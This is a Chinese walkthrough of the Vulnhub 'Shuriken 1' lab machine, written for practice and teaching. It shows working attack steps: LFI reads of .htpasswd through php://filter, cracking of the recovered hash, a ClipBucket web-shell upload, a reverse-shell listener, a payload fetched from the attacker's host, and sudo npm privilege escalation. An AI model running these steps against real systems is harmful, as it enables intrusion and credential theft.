首页 > 其他分享 >Vulnhub之Shuriken 1 靶机测试过程

Vulnhub之Shuriken 1 靶机测试过程

时间:2022-12-14 19:22:42浏览次数:39  
标签:http kali 192.168 Vulnhub shuriken Shuriken 靶机

Shuriken

识别目标主机IP地址

─(kali㉿kali)-[~/Vulnhub/Shuriken]
└─$ sudo netdiscover -i eth1
Currently scanning: 192.168.62.0/16   |   Screen View: Unique Hosts                                                        
                                                                                                                            
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                            
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.56.1    0a:00:27:00:00:0a      1      60  Unknown vendor                                                           
 192.168.56.100  08:00:27:9b:2a:62      1      60  PCS Systemtechnik GmbH                                                   
 192.168.56.227  08:00:27:35:fa:aa      1      60  PCS Systemtechnik GmbH            

利用Kali Linux自带的netdiscover工具识别目标主机的IP地址为192.168.56.227

NMAP扫描

┌──(kali㉿kali)-[~/Vulnhub/Shuriken]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.227 -oN nmap_full_scan
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-14 05:07 EST
Nmap scan report for bogon (192.168.56.227)
Host is up (0.000060s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE    SERVICE    VERSION
80/tcp   open     http       Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Shuriken
|_http-server-header: Apache/2.4.29 (Ubuntu)
8080/tcp filtered http-proxy
MAC Address: 08:00:27:35:FA:AA (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.13 seconds

NMAP扫描结果表明目标主机有1个开放端口:80(HTTP)

获得Shell

┌──(kali㉿kali)-[~/Vulnhub/Shuriken]
└─$ curl http://192.168.56.227/robots.txt
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 192.168.56.227 Port 80</address>
</body></html>

┌──(kali㉿kali)-[~/Vulnhub/Shuriken]
└─$ gobuster dir -u http://192.168.56.227 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.227
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Timeout:                 10s
===============================================================
2022/12/14 05:09:52 Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 301) [Size: 314] [--> http://192.168.56.227/img/]
/css                  (Status: 301) [Size: 314] [--> http://192.168.56.227/css/]
/js                   (Status: 301) [Size: 313] [--> http://192.168.56.227/js/]
/secret               (Status: 301) [Size: 317] [--> http://192.168.56.227/secret/]
/server-status        (Status: 403) [Size: 279]
Progress: 220305 / 220561 (99.88%)===============================================================
2022/12/14 05:10:22 Finished
===============================================================

Gobuster工具扫描出/secret目录,访问该目录,发现有一张图片,将其下载到Kali Linux本地:

┌──(kali㉿kali)-[~/Vulnhub/Shuriken]
└─$ curl http://192.168.56.227/secret/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
 <head>
  <title>Index of /secret</title>
 </head>
 <body>
<h1>Index of /secret</h1>
  <table>
   <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
   <tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a></td><td>&nbsp;</td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="secret.png">secret.png</a></td><td align="right">2020-10-04 16:55  </td><td align="right">202K</td><td>&nbsp;</td></tr>
   <tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache/2.4.29 (Ubuntu) Server at 192.168.56.227 Port 80</address>
</body></html>

分析图片无果,查看页面源代码,有个js代码链接:

┌──(kali㉿kali)-[~/Vulnhub/Shuriken]
└─$ curl http://192.168.56.227/js/index__d8338055.js
!function(e,t){for(var n in t)e[n]=t[n]}(window,function(e){var t={};function n(r){if(t[r])return t[r].exports;var o=t[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}return n.m=e,n.c=t,n.d=function(e,t,r){n.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var o in e)n.d(r,o,function(t){return e[t]}.bind(null,o));return r},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="http://shuriken.local/index.php?referer=",n(n.s=0)}({0:function(e,t,n){e.exports=n("O14P")},O14P:function(e,t,n){"use strict";function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}n.r(t),n.d(t,"default",(function(){return i}));let o=()=>({events:{},emit(e,...t){for(let n of this.events[e]||[])n(...t)},on(e,t){return(this.events[e]=this.events[e]||[]).push(t),()=>this.events[e]=this.events[e].filter(e=>e!==t)}});var i=function(){function e(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:o();r(this,e),this.emitter=t}var t;return(t=[{key:"onReloadPaymentInfo",value:function(e){return this.emitter.on("RELOAD_PAYMENT_INFO",e)}},{key:"reloadPaymentInfo",value:function(){this.emitter.emit("RELOAD_PAYMENT_INFO")}}])&&function(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}(e.prototype,t),e}();window.opbox.services.register({serviceName:"opbox-affiliate-program-service"},i)}}));
//# sourceMappingURL=index_d8338055.js.map            

在该代码中有主机名:shuriken.local,将其加入/etc/hosts文件中:

┌──(kali㉿kali)-[~/Vulnhub/Shuriken]
└─$ sudo vim /etc/hosts                                        
                                                                                                                              
┌──(kali㉿kali)-[~/Vulnhub/Shuriken]
└─$ cat /etc/hosts                                  
127.0.0.1       localhost
127.0.1.1       kali
::1      localhost ip6-localhost ip6-loopback
ff02::1  ip6-allnodes
ff02::2  ip6-allrouters
192.168.56.227  shuriken.local

但是访问shuriken.local,返回的页面与访问IP地址时相同。

但是在该js代码发现了referer参数:

http://shuriken.local/index.php?referer=

那会不会有本地文件包含漏洞,测试一下:

http://shuriken.local/index.php?referer=../../../../../../../../../etc/passwd

但是没有得到返回结果。可以用php filter:

php://filter/convert.base64-encode/resource=index.php

也就是访问:

http://shuriken.local/index.php?referer=php://filter/convert.base64-encode/resource=../../../../../../../etc/passwd

凡是没有返回结果。

接着看扫描一下子域名:

┌──(kali㉿kali)-[~/Vulnhub/Shuriken]
└─$ wfuzz -H 'HOST: FUZZ.shuriken.local' -u 'http://192.168.56.227' -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt --hw 466
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.56.227/
Total requests: 5000

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                      
=====================================================================

000000690:   400        12 L     53 W       427 Ch      "gc._msdcs - gc._msdcs"                                      
000001238:   401        14 L     54 W       471 Ch      "broadcast - broadcast"                                      
000002700:   400        12 L     53 W       427 Ch      "m. - m."                                                    
000002795:   400        12 L     53 W       427 Ch      "ns2.cl.bellsouth.net. - ns2.cl.bellsouth.net."              
000002885:   400        12 L     53 W       427 Ch      "ns2.viviotech.net. - ns2.viviotech.net."                    
000002883:   400        12 L     53 W       427 Ch      "ns1.viviotech.net. - ns1.viviotech.net."                    
000003050:   400        12 L     53 W       427 Ch      "ns3.cl.bellsouth.net. - ns3.cl.bellsouth.net."              
000004082:   400        12 L     53 W       427 Ch      "jordan.fortwayne.com. - jordan.fortwayne.com."              
000004083:   400        12 L     53 W       427 Ch      "quatro.oweb.com. - quatro.oweb.com."                        
000004081:   400        12 L     53 W       427 Ch      "ferrari.fortwayne.com. - ferrari.fortwayne.com."            

Total time: 3.722842
Processed Requests: 5000
Filtered Requests: 4990
Requests/sec.: 1343.059


发现了子域名broadcast,将其加入/etc/hosts文件中

┌──(kali㉿kali)-[~/Vulnhub/Shuriken]
└─$ sudo vim /etc/hosts
                                                                                                                              
┌──(kali㉿kali)-[~/Vulnhub/Shuriken]
└─$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
::1      localhost ip6-localhost ip6-loopback
ff02::1  ip6-allnodes
ff02::2  ip6-allrouters
192.168.56.227  shuriken.local
192.168.56.227  broadcast.shuriken.local
                                           

访问broadcast.shuriken.local,弹出用户登录框。由于http basic认证,用户名密码为保存在.htaccess或者.htpasswd文件中,文件和位置保存在/etc/apache2/apache2.conf

因此可以用上面的文件包含漏洞读取该文件:

┌──(kali㉿kali)-[~/Vulnhub/Shuriken]
└─$ curl http://shuriken.local/index.php?referer=php://filter/convert.base64-encode/resource=/etc/apache2/apache2.conf
<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="">
    <title>Shuriken</title>
    <link rel="icon" type="image/png" sizes="32x32" href="img/favicon-32x32.png">
    <link rel="stylesheet" href="https://netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.css">
    <link rel="stylesheet" href="https://unpkg.com/[email protected]/build/pure-min.css" integrity="sha384-cg6SkqEOCV1NbJoCu11+bm0NvBRc8IYLRGXkmNrqUBfTjmMYwNKPWBTIKyw9mHNJ" crossorigin="anonymous">
    <link rel="stylesheet" href="css/index.css">
</head>
<body>

<div class="header">
    <div class="home-menu pure-menu pure-menu-horizontal pure-menu-fixed">
        <a class="pure-menu-heading" href=""> The Shuriken Company</a>

        <ul class="pure-menu-list">
            <li class="pure-menu-item pure-menu-selected"><a href="#" class="pure-menu-link">Home</a></li>
            <li class="pure-menu-item"><a href="/login.html" class="pure-menu-link">Sign In</a></li>
        </ul>
    </div>
</div>

<div class="splash-container">
    <div class="splash">
        <h1 class="splash-head">The Shuriken Company</h1>
        <p class="splash-subhead">
            We've got you covered.
        </p>
        <p>
            <a href="/login" class="pure-button pure-button-primary">Get Started</a>
        </p>
    </div>
</div>

<div class="content-wrapper">
    <div class="content">
        <h2 class="content-head is-center">Made simple, <b>made for You</b></h2>

        <div class="pure-g">
            <div class="l-box pure-u-1 pure-u-md-1-2 pure-u-lg-1-4">

                <h3 class="content-subhead" style="text-align: center;">
                    <i class="fa fa-rocket"></i>
                    Get Started Quickly
                </h3>
                <p style="text-align: center;">
                    Leverage agile frameworks to provide a robust synopsis for high level overviews.
                </p>
            </div>
            <div class="l-box pure-u-1 pure-u-md-1-2 pure-u-lg-1-4">
                <h3 class="content-subhead" style="text-align: center;">
                    <i class="fa fa-mobile"></i>
                    Ease of use
                </h3>
                <p style="text-align: center;">
                    Capitalize on low hanging fruit to identify a ballpark value added activity to beta test.
                </p>
            </div>
            <div class="l-box pure-u-1 pure-u-md-1-2 pure-u-lg-1-4">
                <h3 class="content-subhead" style="text-align: center;">
                    <i class="fa fa-th-large"></i>
                    Modular
                </h3>
                <p style="text-align: center;">
                    Synergistically evolve 2.0 technologies rather than just in time initiatives. Quickly deploy strategic networks.
                </p>
            </div>
            <div class="l-box pure-u-1 pure-u-md-1-2 pure-u-lg-1-4">
                <h3 class="content-subhead" style="text-align: center;">
                    <i class="fa fa-check-square-o"></i>
                    Plays Nice
                </h3>
                <p style="text-align: center;">
                    Bring to the table win-win survival strategies to ensure proactive domination.
                </p>
            </div>
        </div>
    </div>

    <div class="ribbon l-box-lrg pure-g">
        <div class="l-box-lrg is-center pure-u-1 pure-u-md-1-2 pure-u-lg-2-5">
            <img width="300" alt="File Icons" class="pure-img-responsive" src="img/file-icons.png">
        </div>
        <div class="pure-u-1 pure-u-md-1-2 pure-u-lg-3-5">

            <h2 class="content-head content-head-ribbon" style="text-align: center;">Everything you need in one place</h2>

            <p style="text-align: center;">
                You don't have to worry anymore about the mess in your workplace. Contact our world class customer support and let's get it done together.
            </p>
        </div>
    </div>

    <div class="content">
        <h2 class="content-head is-center">Subscribe to newsletter</h2>

        <div class="pure-g">
            <div class="l-box-lrg pure-u-1 pure-u-md-2-5">
                <form class="pure-form pure-form-stacked">
                    <fieldset>

                        <label for="name">Your Name</label>
                        <input id="name" type="text" placeholder="Your Name">


                        <label for="email">Your Email</label>
                        <input id="email" type="email" placeholder="Your Email">

                        <label for="password">Add something</label>
                        <input id="password" type="text" placeholder="Add something">

                        <button type="submit" class="pure-button">Subscribe</button>
                    </fieldset>
                </form>
            </div>

            <div class="l-box-lrg pure-u-1 pure-u-md-3-5">
                <h4>Contact Us</h4>
                <p>
                    It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using 'Content here, content here', making it look like readable English. Many desktop publishing packages and web page editors now use Lorem Ipsum as their default model text, and a search for 'lorem ipsum' will uncover many web sites still in their infancy.
                </p>

                <h4>More Information</h4>
                <p>
                    Quickly communicate enabled technology and turnkey leadership skills. Uniquely enable accurate supply chains rather than frictionless technology. 
                </p>
            </div>
        </div>

    </div>

</div>

IyBUaGlzIGlzIHRoZSBtYWluIEFwYWNoZSBzZXJ2ZXIgY29uZmlndXJhdGlvbiBmaWxlLiAgSXQgY29udGFpbnMgdGhlCiMgY29uZmlndXJhdGlvbiBkaXJlY3RpdmVzIHRoYXQgZ2l2ZSB0aGUgc2VydmVyIGl0cyBpbnN0cnVjdGlvbnMuCiMgU2VlIGh0dHA6Ly9odHRwZC5hcGFjaGUub3JnL2RvY3MvMi40LyBmb3IgZGV0YWlsZWQgaW5mb3JtYXRpb24gYWJvdXQKIyB0aGUgZGlyZWN0aXZlcyBhbmQgL3Vzci9zaGFyZS9kb2MvYXBhY2hlMi9SRUFETUUuRGViaWFuIGFib3V0IERlYmlhbiBzcGVjaWZpYwojIGhpbnRzLgojCiMKIyBTdW1tYXJ5IG9mIGhvdyB0aGUgQXBhY2hlIDIgY29uZmlndXJhdGlvbiB3b3JrcyBpbiBEZWJpYW46CiMgVGhlIEFwYWNoZSAyIHdlYiBzZXJ2ZXIgY29uZmlndXJhdGlvbiBpbiBEZWJpYW4gaXMgcXVpdGUgZGlmZmVyZW50IHRvCiMgdXBzdHJlYW0ncyBzdWdnZXN0ZWQgd2F5IHRvIGNvbmZpZ3VyZSB0aGUgd2ViIHNlcnZlci4gVGhpcyBpcyBiZWNhdXNlIERlYmlhbidzCiMgZGVmYXVsdCBBcGFjaGUyIGluc3RhbGxhdGlvbiBhdHRlbXB0cyB0byBtYWtlIGFkZGluZyBhbmQgcmVtb3ZpbmcgbW9kdWxlcywKIyB2aXJ0dWFsIGhvc3RzLCBhbmQgZXh0cmEgY29uZmlndXJhdGlvbiBkaXJlY3RpdmVzIGFzIGZsZXhpYmxlIGFzIHBvc3NpYmxlLCBpbgojIG9yZGVyIHRvIG1ha2UgYXV0b21hdGluZyB0aGUgY2hhbmdlcyBhbmQgYWRtaW5pc3RlcmluZyB0aGUgc2VydmVyIGFzIGVhc3kgYX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sIGhvc3QgY29uZmlndXJhdGlvbnM6CkluY2x1ZGVPcHRpb25hbCBzaXRlcy1lbmFibGVkLyouY29uZgoKIyB2aW06IHN5bnRheD1hcGFjaGUgdHM9NCBzdz00IHN0cz00IHNyIG5vZXQK        <script src="/js/index__7ed54732.js"></script>
        <script src="/js/index__d8338055.js"></script>

</body>
</html

对其进行Base64解码,解码以后得到:

# This is the main Apache server configuration file.  It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.

# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
#	/etc/apache2/
#	|-- apache2.conf
#	|	`--  ports.conf
#	|-- mods-enabled
#	|	|-- *.load
#	|	`-- *.conf
#	|-- conf-enabled
#	|	`-- *.conf
# 	`-- sites-enabled
#	 	`-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
#   together by including all remaining configuration files when starting up the
#   web server.
#
# * ports.conf is always included from the main configuration file. It is
#   supposed to determine listening ports for incoming connections which can be
#   customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
#   directories contain particular configuration snippets which manage modules,
#   global configuration fragments, or virtual host configurations,
#   respectively.
#
#   They are activated by symlinking available configuration files from their
#   respective *-available/ counterparts. These should be managed by using our
#   helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
#   their respective man pages for detailed information.
#
# * The binary is called apache2. Due to the use of environment variables, in
#   the default configuration, apache2 needs to be started/stopped with
#   /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
#   work with the default configuration.


# Global configuration
#

#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE!  If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the Mutex documentation (available
# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
#ServerRoot "/etc/apache2"

#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
#Mutex file:${APACHE_LOCK_DIR} default

#
# The directory where shm and other runtime files will be stored.
#

DefaultRuntimeDir ${APACHE_RUN_DIR}

#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}

#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300

#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On

#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100

#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 5


# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}

#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off

# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here.  If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log

#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl:warn"
#
LogLevel warn

# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf

# Include list of ports to listen on
Include ports.conf


# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
	Options FollowSymLinks
	AllowOverride None
	Require all denied
</Directory>

<Directory /usr/share>
	AllowOverride None
	Require all granted
</Directory>

<Directory /var/www/>
	Options Indexes FollowSymLinks
	AllowOverride None
	Require all granted
</Directory>

#<Directory /srv/>
#	Options Indexes FollowSymLinks
#	AllowOverride None
#	Require all granted
#</Directory>




# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives.  See also the AllowOverride
# directive.
#
AccessFileName .htaccess

#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
	Require all denied
</FilesMatch>


#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file), because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent

# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.

# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf

# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

上述解码后的内容中知道保存用户名密码的文件名为.htaccess

但是访问:

$ curl http://shuriken.local/index.php?referer=php://filter/convert.base64-encode/resource=/etc/apache2/.htaccess

并没有得到期望的结果,改成访问.htpasswd文件。

相反访问:

──(kali㉿kali)-[~/Vulnhub/Shuriken]
└─$ curl http://shuriken.local/index.php?referer=php://filter/convert.base64-encode/resource=/etc/apache2/.htpasswd

返回的结果为base64编码信息,将其解码:

┌──(kali㉿kali)-[~/Vulnhub/Shuriken]
└─$ echo 'ZGV2ZWxvcGVyczokYXByMSRudE96MkVSRiRTZDZGVDhZVlRWYWxXakw3Ykp2MFAwCg==' | base64 -d
developers:$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0

┌──(kali㉿kali)-[~/Vulnhub/Shuriken]
└─$ vim hash    
                                                                                                                              
┌──(kali㉿kali)-[~/Vulnhub/Shuriken]
└─$ cat hash                                                                                                       
$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0
                                                                                                                              
┌──(kali㉿kali)-[~/Vulnhub/Shuriken]
└─$ sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash 
Created directory: /root/.john
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
9972761drmfsls   (?)     
1g 0:00:00:16 DONE (2022-12-14 05:40) 0.06188g/s 133734p/s 133734c/s 133734C/s 9982..99686420
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

这样得到用户名和密码:

username:developers

password: 9972761drmfsls

登录:

broadcast.shuriken.local

登录成功后通过查看源代码,知道目标站点运行:

<!-- ClipBucket version 4.0 -->

该CMS有以下漏洞:

https://www.exploit-db.com/exploits/44250

利用其中file upload漏洞将shell.php上传至目标站点:

┌──(kali㉿kali)-[~/Vulnhub/Shuriken]
└─$ curl -u developers:9972761drmfsls -F "[email protected]" -F "plupload=1" -F "name=shell.php" "http://broadcast.shuriken.local/actions/photo_uploader.php"
{"success":"yes","file_name":"1671015020ef6f41","extension":"php","file_directory":"2022\/12\/14"}  

从返回的结果看shell.php文件上传为位置以及文件名为:

2022/12/14/1671015020ef6f41.php

完整路径为:

http://broadcast.shuriken.local/files/photos/2022/12/14/
┌──(kali㉿kali)-[~/Vulnhub/Shuriken]
└─$ sudo nc -nlvp 5555                                         
listening on [any] 5555 ...
connect to [192.168.56.206] from (UNKNOWN) [192.168.56.227] 35666
Linux shuriken 5.4.0-47-generic #51~18.04.1-Ubuntu SMP Sat Sep 5 14:35:50 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 11:54:08 up 50 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ which python
/usr/bin/python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@shuriken:/$ 

先要切换到server-management用户

先生成一个文件package.json:

┌──(kali㉿kali)-[~/Vulnhub/Shuriken]
└─$ vim package.json
                                                                                                                              
┌──(kali㉿kali)-[~/Vulnhub/Shuriken]
└─$ cat package.json                  
{
  "scripts":{
    "dev": "/bin/bash"
  }
}

www-data@shuriken:/tmp$ which nano
which nano
/bin/nano
www-data@shuriken:/tmp$ nano package.json
nano package.json
Unable to create directory /var/www/.local/share/nano/: No such file or directory
It is required for saving/loading search history or cursor positions.

Press Enter to continue


Error opening terminal: unknown.
www-data@shuriken:/tmp$ wget http://192.168.56.206:8000/package.json
wget http://192.168.56.206:8000/package.json

Command 'wget' not found, but can be installed with:

apt install wget
Please ask your administrator.

www-data@shuriken:/tmp$ which curl
which curl
/usr/bin/curl
www-data@shuriken:/tmp$ curl -o package.json http://192.168.56.206:8000/package.json
<ackage.json http://192.168.56.206:8000/package.json
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    46  100    46    0     0   1769      0 --:--:-- --:--:-- --:--:--  1769
www-data@shuriken:/tmp$ ls
ls
package.json  tmp.riZVDCckDy
www-data@shuriken:/tmp$ 

www-data@shuriken:/tmp$ sudo -u server-management npm run dev                          
sudo -u server-management npm run dev

> @ dev /tmp
> /bin/bash

server-management@shuriken:/tmp$ 

server-management@shuriken:~$ cat user.txt
cat user.txt
67528b07b382dfaa490f4dffc57dcdc0
server-management@shuriken:~$ 

得到用户flag.

从下面的地址下载


标签:http,kali,192.168,Vulnhub,shuriken,Shuriken,靶机
From: https://www.cnblogs.com/jason-huawen/p/16983000.html

相关文章

  • vulnhub-Tr0ll
    本机ip:192.168.10.7靶机ip:192.168.10.8扫描nmap-sn192.168.10.7/24nmap-sS-sV-A-p-192.168.10.8Nmapscanreportfor192.168.10.8Hostisup(0.0017slate......
  • Vulnhub之So Simple靶机详细测试过程
    SoSimple作者:jason_huawen靶机基本信息名称:SoSimple:1地址:https://www.vulnhub.com/entry/so-simple-1,515/识别目标主机IP地址─(kali㉿kali)-[~/Vulnhub/So_s......
  • vulnhub-Raven2
    搜集信息kaliip:192.168.56.109/24发现目标:nmap-sn192.168.56.109/24或nmap-sP192.168.56.109/24靶机ip:192.168.56.114扫描端口nmap-A-p-192.168.56.114No......
  • Vulnhub之TBBT FunWithFlags靶机详细测试过程
    TBBTFunWithFlags作者:jason_huawen靶机基本信息名称:TBBT:FunWithFlags地址:https://www.vulnhub.com/entry/tbbt-funwithflags,437/其他说明:靶机配置静态IP地址,因......
  • Vulnhub之Temple of Doom靶机详细测试过程
    TempleofDoom1靶机基本信息作者:jason_huawen名称:TempleofDoom:1地址:https://www.vulnhub.com/entry/temple-of-doom-1,243/识别目标主机IP地址─(kali㉿kal......
  • Vulnhub之Thales 1靶机测试过程
    Thales1识别目标主机IP地址─(kali㉿kali)-[~/Vulnhub/Thales_1]└─$sudonetdiscover-ieth1Currentlyscanning:192.168.60.0/16|ScreenView:UniqueHo......
  • Vulnhub之The Planets Earth靶机测试过程
    ThePlanetsEarth识别目标主机IP地址─(kali㉿kali)-[~/Vulnhub/The_Planets_Earth]└─$sudonetdiscover-ieth1Currentlyscanning:192.168.134.0/16|Scr......
  • Vulnhub之Thoth靶机详细测试过程
    Thoth作者:Jason_huawen靶机基本信息名称:ThothTech:1地址:https://www.vulnhub.com/entry/thoth-tech-1,734/识别目标主机IP地址(kali㉿kali)-[~/Vulnhub/Thoth]......
  • Vulnhub之Web Machine N7靶机测试过程
    WebMachineN7识别目标主机IP地址─(kali㉿kali)-[~/Vulnhub/Web_machine_N7]└─$sudonetdiscover-ieth1Currentlyscanning:192.168.62.0/16|ScreenVie......
  • vulnhub靶场渗透实战13-driftingblues3
    ​靶机下载地址:https://download.vulnhub.com/driftingblues/driftingblues3.ovavbox导入,网络模式桥接,靶机模式为简单。一:信息收集1;直接老样子吧,arp主机发现之后,nmap扫......